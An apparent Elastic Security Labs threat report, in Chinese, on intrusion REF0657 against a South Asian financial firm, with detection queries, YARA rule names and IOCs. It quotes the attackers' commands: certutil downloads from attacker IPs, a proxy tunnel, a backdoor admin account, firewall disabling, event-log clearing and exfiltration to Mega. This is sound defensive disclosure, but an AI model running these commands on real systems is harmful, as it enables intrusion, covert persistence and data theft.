前言
2023年12月,Elastic 安全实验室发现一起针对南亚一家金融服务机构的“打劫式”入侵事件。在整个入侵过程中,攻击者在受害者的环境中使用了各种开源工具,其中一些是我们第一次遇到的。攻击团伙参与了不同的入侵后活动:从发现/枚举到利用受害者的内部企业软件攻击他们,最终利用不同的隧道工具和侧加载技术执行Cobalt Strike。此外,攻击者还使用了文件托管服务Mega从网络中窃取数据。
通过披露此次入侵事件(REF0657)的细节以及各种策略、技术和程序(TTP),我们希望帮助其他防御者和组织识别和监控此类活动。
关键要点
- REF0657 针对南亚的金融服务机构
- 该组织利用了广泛的入侵后行为,包括使用 Microsoft SQL Server 的后门访问、转储凭据、清除事件日志以及使用 MEGA CMD 窃取数据
- 该活动包括各种网络隧道工具和代理工具,以及 Cobalt Strike 和使用 C2 框架 Supershell 的基础设施。
攻击活动分析
我们的团队于2023年12月17日在客户环境中发现了最初的枚举活动。虽然我们无法了解感染的根本原因,但我们继续监控该环境。在接下来的几周内,我们发现了七个不同的主机(主要是服务器),这些主机表现出大量的活动,包括:
- 发现/枚举
- 下载额外的工具/组件
- 在环境中的合法文件夹位置重命名和存放工具
- 从注册表中转储凭据并将用户添加到计算机
- 修改环境以启用横向移动和持久性
- 执行代理隧道和 shellcode 以保持对环境的访问
- 使用云服务提供商 Mega 压缩和窃取数据
- 清除多台计算机上的事件日志
执行流程/时间线
我们的团队观察到的很大一部分活动是通过滥用 Microsoft SQL Server 的命令行执行完成的(sqlservr.exe
)。虽然我们无法确定根本原因,但我们有理由相信攻击者通过这台远程访问的服务器获得了对环境的访问权限,然后开始使用 MSSQL 的存储过程执行命令和运行程序(xp_cmdshell
)。这个初始端点作为攻击的桥头堡,所有活动似乎都源于此。
发现/枚举/准备
攻击者使用了几种标准的 Windows 实用程序进行初始发现和枚举。下图显示了从父进程(sqlservr.exe
)生成的各种命令。
攻击者经常检查他们的有效负载是否正在运行,查看受害者计算机上的网络连接,并执行目录列表以检查他们的不同文件。
获得初始访问权限后,攻击者尝试了几种下载额外有效负载和工具的方法。攻击者开始使用certutil.exe
,然后转移到bitsadmin.exe
,PowerShell 的DownloadFile()
方法,最终又回到certutil.exe
。这些不同的工具与 IP 地址交互(149.104.23[.]17
和 206.237.3[.]150
)。
横向移动+持久性
当攻击者在环境中移动时,他们利用远程 SMB 和 WMI 在每台计算机上创建一个名为“helpdesk”的本地管理员帐户。在某些情况下,他们设置了一个随机命名的 Windows 服务(qLVAMxSGzP
)作为持久性机制。此服务将执行一个包含添加本地用户并将此用户插入本地管理员组的命令的临时批处理文件。执行后,该文件将被删除。
%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add && \
net localgroup administrators helpdesk /add \
^> \\127.0.0.1\C$\FOUGTZ 2^>^&1 > %TEMP%\VOruiL.bat & \
%COMSPEC% /Q /c %TEMP%\VOruiL.bat & %COMSPEC% /Q /c del %TEMP%\VOruiL.bat
执行
攻击者转向 Cobalt Strike 进行 C2 和进一步执行。这次,他们使用了趋势科技 Deep Security Monitor 的合法签名版本(ds_monitor.exe
)。这用于通过侧加载恶意 DLL(msvcp140.dll
)来加载 Cobalt Strike。我们观察到从certutil.exe
执行下载 DLL,然后我们通过调用堆栈遥测确认了此行为。
"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \
ht""""tp://206.237.3[.]150:443/1.txt \
C:\users\public\downloads\msvcp140.dll
下面的屏幕截图显示攻击者将 TrendMicro 应用程序放在 ProgramData 中标记为 McAfee 的目录中。通过检查调用堆栈,我们可以看到恶意 DLL 从同一目录加载。
此后不久,添加了运行键持久性以在系统启动时执行(ds_monitor.exe
)。
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v \
TrendMicro /t REG_SZ /d \
"C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe" /f /reg:64
对msvcp140.dll
的分析表明,攻击者篡改了合法 Windows DLL 的 DllEntryPoint,将其替换为来自公共存储库的修改代码——这是一个自定义的 Cobalt Strike 内存逃避加载器。
虽然检索到的原始代码从内存中获取 Cobalt Strike 信标,但修改后的版本从名为config.ini
的文件中加载 base64 格式的信标,该文件连接到msedge[.]one
。
转储凭据
观察到的主要收集凭据方法之一是在不同的服务器上转储安全帐户管理器 (SAM) 注册表配置单元。
网络/注册表/日志修改
攻击者修改了多个不同的配置和设置,以进一步增加其对环境的访问权限。我们对这种行为的第一个观察结果是通过注册表启用RDP(将值设置为0),路径如下所示(HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections)
。启用RDP。然后,他们使用以下命令禁用Windows防火墙规则: NetSh Advfirewall set allprofiles state off
。
之后,他们通过修改注册表启用了受限管理员模式,这允许攻击者对远程桌面协议(RDP)进行传递哈希式攻击。
cmd.exe /Q /c REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" \
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \
/f 1> \\127.0.0.1\C$\Windows\Temp\RExePi 2>&1
除了这些更改之外,攻击者还使用Windows事件实用程序wevtutil.exe
清除了系统和安全通知的Windows事件日志。
cmd.exe /Q /c wevtutil.exe cl System 1> \
\\127.0.0.1\C$\Windows\Temp\ksASGt 2>&1
cmd.exe /Q /c wevtutil.exe cl Security 1> \
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2>&1
隧道/代理工具
在初始访问一天后,攻击者使用AppLaunch.exe
(一个管理和执行使用Microsoft .NET Framework构建的应用程序的二进制文件)生成多个shellcode注入警报,并将结果输出到名为1.txt
的文件中。与该警报关联的命令行参数如下:c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 >> 1.txt
检查注入的代码后,我们确定shellcode是名为iox
的Golang二进制文件,可以从以下公开可用的存储库编译。此工具旨在进行端口转发和代理,并具有流量加密等附加功能。根据观察到的命令行,攻击者建立了与206.237.0[.]49
端口12355
的代理连接。
无论有意还是无意,代理实用程序都由几个不同的合法进程启动:lsass.exe
、vmtoolsd.exe
和mctray.exe
。在这种情况下,攻击者侧加载了一个位于C:\programdata\
目录中的常见恶意未签名DLL(mscoree.dll
)。
攻击者使用了另一个名为Rakshasa的代理,使用certutil
命令直接从该工具的官方GitHub页面下载。它存储在c:\users\public\downloads\ra.exe
中,然后使用以下命令执行:C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80
。
此命令创建到攻击者基础设施的代理隧道,连接到IP地址149.104.23.176
的端口80
。如果这还不够,攻击者开始通过ICMP隧道发送和检索网络数据。例如,当攻击者执行tasklist命令时,输出将保存到C:\programdata\re.txt
,并使用PowerShell通过ICMP进行泄露。
数据泄露
此次入侵中更值得注意的部分之一是攻击者下载了MEGA Cmd,这是一个与Mega文件托管服务一起使用的命令行实用程序。虽然仍然利用MSSQL,但他们下载了这个程序,并将其重命名为ms_edge.exe
。
"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \
ht""""tp://206.237.3.150:443/megacmd.exe \
C:\users\public\downloads\ms_edge.exe
不久之后,我们观察到该实用程序正在执行一个指向配置文件(称为tmp
)的参数,并且一个带有备份扩展名(.bak
)的压缩文件与Mega一起使用。
C:\users\public\downloads\ms_edge.exe --config \
C:\users\public\downloads\tmp copy \
REDACTED_FILENAME.bak mega_temp:
基础设施
在整个调查过程中,该威胁组织使用了多台服务器来托管其有效负载或转发网络流量。Elastic安全实验室团队发现了两个具有开放目录的Web服务器,这些目录公开托管可在……上访问的文件。
206.237.3[.]150
206.237.0[.]49
此外,我们的团队观察到Supershell面板,这是一个基于中国的C2平台,运行在206.237.[0].49:8888
上。
当我们发现一个用于Mega平台自动化的配置文件(在“数据泄露”部分中称为tmp
)时,我们验证了上一节中的早期发现,该文件包含攻击者使用的凭据。此外,还有各种Web shell文件和脚本源自以下公共存储库:
- https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment
- https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx
- https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx
此外,在这些目录中,我们发现了一些有趣的二进制文件:
cloud_init
其中一个文件(cloud_init
)是一个用UPX打包的Golang ELF二进制文件。检查后,确定它是从NPS存储库编译的,另一个与大多数常用协议兼容的内联网代理服务器。攻击者修改了代码,以便在编译期间对字符串进行加密。解密过程使用单独的字节数组,其中一个数组的字节与另一个数组的字节组合,采用加法、XOR或减法等运算进行解密。
MSASN1.dll
审查后,此DLL与前面讨论的文件(msvcp140.dll
)具有相同的函数/代码。
通过MITRE ATT&CK查看REF0657
Elastic使用MITRE ATT&CK框架来记录高级持续性威胁针对企业网络使用的常见战术、技术和程序。
战术
战术代表技术或子技术的“为什么”。攻击者的战术目标是执行操作的原因。在REF0657中观察到的战术包括:
技术
技术代表攻击者如何通过执行操作来实现战术目标。Elastic安全实验室在REF0657中观察到以下技术:
总结
总而言之,此次入侵突出了某些新的工具,同时再次强调并非所有入侵都是由新颖的恶意软件和技术决定的。这些类型的威胁展示了大多数组织每天面临的现实挑战。
该威胁组织在这个环境中行动非常迅速,在不到24小时内,就从网络中提取了对攻击者有意义的数据。分享这些细节的一些内容可以帮助防御者堵住这些技术中的一些漏洞或覆盖不足之处。
菱形模型
Elastic安全实验室利用菱形模型来描述攻击者、能力、基础设施和入侵受害者之间的高级关系。虽然菱形模型最常用于单次入侵,并利用活动线程(第8节)作为在事件之间建立关系的一种方式,但以攻击者为中心(第7.1.4节)的方法允许使用一个虽然杂乱无章但单个的菱形。
检测REF0657
在对这组入侵进行分析的过程中,观察到以下检测规则和行为预防事件:
检测
- 直接出站SMB连接
- 通过MSSQL xp_cmdshell存储过程执行
- 通过重命名签名的二进制代理执行
- 通过注册表进行潜在的远程凭据访问
- 来自异常目录的进程执行
- 可疑的CertUtil命令
- WMI传入横向移动
预防
Elastic中的狩猎查询
狩猎查询可能会返回高信号或误报。这些查询用于识别潜在的可疑行为,但需要进行调查以验证结果。
ES|QL查询
使用Kibana中安全解决方案的“关联”选项卡下的“时间线”部分,您可以使用以下ES|QL查询来查找类似的行为。
FROM logs-*
WHERE process.parent.name == "sqlservr.exe"
AND process.name == "cmd.exe"
AND process.command_line
RLIKE ".*certutil.*"
FROM logs-*
WHERE process.name == "ms_edge.exe"
AND process.code_signature.exists == false
AND NOT process.executable
RLIKE ".*Program Files.*"
YARA
Elastic Security创建了以下YARA规则来识别此活动:
- Windows.Trojan.CobaltStrike
- Windows.Hacktool.SleepObfLoader
- Multi.Hacktool.Nps
- Multi.Hacktool.Rakshasa
- Windows.Hacktool.Iox
观察结果
所有可观察数据都可 以 下载,包含ECS和STIX格式的组合zip压缩包。
本研究讨论了以下可观察数据。
可观察数据 | 类型 | 名称 | 参考 |
---|---|---|---|
206.237.3[.]150 | ipv4-addr | 文件托管基础设施 | |
206.237.0[.]49 | ipv4-addr | 文件托管和超级shell基础设施 | |
104.21.54[.]126 | ipv4-addr | Cobalt Strike基础设施 | |
149.104.23[.]176 | ipv4-addr | ||
msedge[.]one | domain-name | Cobalt Strike基础设施 | |
bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716 | SHA-256 | mscoree.dll | |
84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d | SHA-256 | MSASN1.dll |
关于Elastic安全实验室
Elastic安全实验室是Elastic安全部门的威胁情报分支,致力于改变威胁环境。Elastic安全实验室提供有关新兴威胁的公开研究,分析战略性、运营性和战术性对手目标,然后将该研究与Elastic安全的内置检测和响应功能集成。
在Twitter上关注Elastic安全实验室 @elasticseclabs 并查看我们的研究报告 www.elastic.co/security-labs/。